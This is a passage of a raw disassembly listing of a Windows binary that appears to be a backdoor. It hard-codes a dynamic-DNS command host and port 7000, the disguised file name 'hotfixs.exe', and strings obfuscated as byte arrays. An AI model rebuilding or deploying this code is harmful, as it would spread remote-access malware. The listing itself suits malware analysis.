		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4070B0	proc near		; CODE XREF: sub_401591j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015D7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014E2
sub_4070B0	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4070F0	proc near		; CODE XREF: sub_401AF0j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AC3
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jz	short loc_40716B
		mov	edi, [esp+10h+arg_0]


loc_407133:				; CODE XREF: sub_4070F0+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_40173F
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_407175
		call	sub_401F0A
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021BC
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40183E
		test	al, al
		jnz	short loc_407133


loc_40716B:				; CODE XREF: sub_4070F0+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_407175:				; CODE XREF: sub_4070F0+5Aj
		call	sub_40173F
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_4070F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4071C0	proc near		; CODE XREF: sub_4021F8j
		xor	al, al
		retn	4
sub_4071C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4071E0	proc near		; CODE XREF: sub_401564j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_4071E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407220	proc near		; CODE XREF: sub_401622j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407220	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407260	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	esi
		retn	4
sub_407260	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407290	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021BC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_407290	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072D0	proc near		; CODE XREF: sub_401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401B63
		mov	eax, esi
		pop	esi
		retn
sub_4072D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072F0	proc near		; CODE XREF: sub_40173Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_4072F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407310	proc near		; CODE XREF: sub_401F0Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A82
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407310	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FA0
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407340	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407370	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C8A
		mov	edi, eax
		push	edi
		call	sub_401C58
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_407370	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C58
		push	edi
		mov	[eax], ebx
		call	sub_401C58
		mov	edi, [eax]
		push	edi
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401672
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_402185
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407410	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019C9
sub_407410	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407425
		mov	edi, esi


loc_407425:				; CODE XREF: ___:00407421j
		push	esi
		call	sub_401A82
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40743A
		mov	edi, esi


loc_40743A:				; CODE XREF: ___:00407436j
		push	esi
		call	sub_401C58
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407460	proc near		; CODE XREF: sub_401A82j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_407460	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407480	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_407480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074A0	proc near		; CODE XREF: sub_401B63j
		mov	eax, ecx
		retn
sub_4074A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074C0	proc near		; CODE XREF: sub_402185j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_4074C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401FA0j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407520	proc near		; CODE XREF: sub_401C58j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407540	proc near		; CODE XREF: sub_4019C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_407540	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401672j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_407570	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075A0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_401C8Aj
		mov	eax, [ecx]
		retn
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4075E0	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4075EA
		xor	eax, eax


loc_4075EA:				; CODE XREF: sub_4075E0+6j
		push	eax
		call	sub_4367FA
sub_4075E0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40762B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40762B:				; CODE XREF: sub_407610+11j
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407640	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407660	proc near		; CODE XREF: sub_401B2Cj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407660
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017E4
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_448D06
		call	sub_401B5E
sub_407660	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076F0	proc near		; CODE XREF: sub_401CC1j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076F0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017E4
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_448D06
		call	sub_401B5E
sub_4076F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407790	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407790
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_174]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2C4]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_401424
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_401424
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_401424
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_401424
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_401424
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_18C]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_401424
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_144]
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_401424
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_401424
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_401424
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_401424
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_401424
		mov	bl, 1Eh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_174]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A87
		push	offset a7000	; "7000"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A87
		push	offset byte_446F60
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A87
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		lea	ecx, [esp+360h+var_1A4]
		call	sub_401A87
		lea	eax, [esp+35Ch+var_2DC]
		lea	ecx, [esp+35Ch+var_1D4]
		push	eax
		call	sub_40200E
		push	offset byte_446F60
		lea	ecx, [esp+360h+var_294]
		call	sub_401A87
		push	offset aScop	; "#scop#"
		lea	ecx, [esp+360h+var_2C4]
		call	sub_401A87
		push	offset aS_1	; "#s"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A87
		push	offset aServec	; "servec"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A87
		push	offset aHotfixs_exe ; "hotfixs.exe"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A87
		push	offset aHoewrt	; "hoewrt"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A87
		push	offset aTahy	; "TAHY-"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A87
		push	offset aAbosal7	; "abosal7"
		lea	ecx, [esp+360h+var_264]
		call	sub_401A87
		push	offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E"
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A87
		push	offset aAdmin_com ; "admin.com"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A87
		push	offset aTsinternetuser ; "TsInternetUser"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A87
		push	offset dword_4437FC
		lea	ecx, [esp+360h+var_18C]
		call	sub_401A87
		push	offset dword_4437F8
		lea	ecx, [esp+360h+var_1EC]
		call	sub_401A87
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	ecx, [esp+384h+var_348]
		push	46h
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_144]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	18h
		push	9
		push	6
		push	14h
		push	0Fh
		lea	edx, [esp+3B0h+var_348]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 5Ch
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	ecx, [esp+36Ch+var_348]
		push	45h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_24C]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	edx, [esp+368h+var_348]
		push	46h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	ecx, [esp+36Ch+var_348]
		push	14h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40200E
		mov	byte ptr [esp+35Ch+var_4], bl
		lea	ecx, [esp+35Ch+var_348]
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	edx, [esp+370h+var_348]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40200E
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2AC]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+3D0h+var_348]
		push	13h
		push	eax
		mov	byte ptr [esp+3D8h+var_4], 27h
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 28h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0FECh]
		mov	byte ptr [esp+38Ch+var_4], 29h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
sub_407790	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 2Ah
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Bh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+1035h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 2Ch
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+78h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3C4h], 2Dh
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Eh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+0FA3h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Fh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+80h]
		push	13h
		push	eax
		mov	byte ptr [esp+3CCh], 30h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 31h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0F5Ah]
		mov	byte ptr [esp+388h], 32h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		mov	byte ptr [esp+370h], 33h
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
